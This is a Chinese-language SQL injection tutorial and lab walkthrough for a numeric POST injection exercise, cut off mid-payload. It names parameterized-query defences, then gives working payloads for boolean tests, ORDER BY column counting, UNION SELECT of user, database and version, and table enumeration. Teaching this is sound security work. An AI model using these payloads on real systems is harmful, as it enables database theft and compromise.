在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
数字型注入(post)
点击下拉框进行查询
bp抓包获取信息
此题为post请求,说明请求内容在请求体当中
发给重发器进行测试
payload:
id=1 and 1=1# 回显正常
id=1 and 1=2# 回显不正常
存在注入点
回显不正常,说明带入数据库进行查询,执行了sql语句
判断字段个数
payload:
id=1 order by 1# 回显正常
id=1 order by 2# 回显正常
id=1 order by 3# 回显不正常
说明有2列字段
判断回显点
payload:
id=-1 union select 1,2#
爆数据库
payload:
id=-1 union select user(),database()#
查询数据库的用户,当前数据库
version() 查看数据库版本
@@version_compile_os 查看操作系统
爆数据表
payload:
id=-1 union select database(),table_name from information_schema.tables where table_schema=d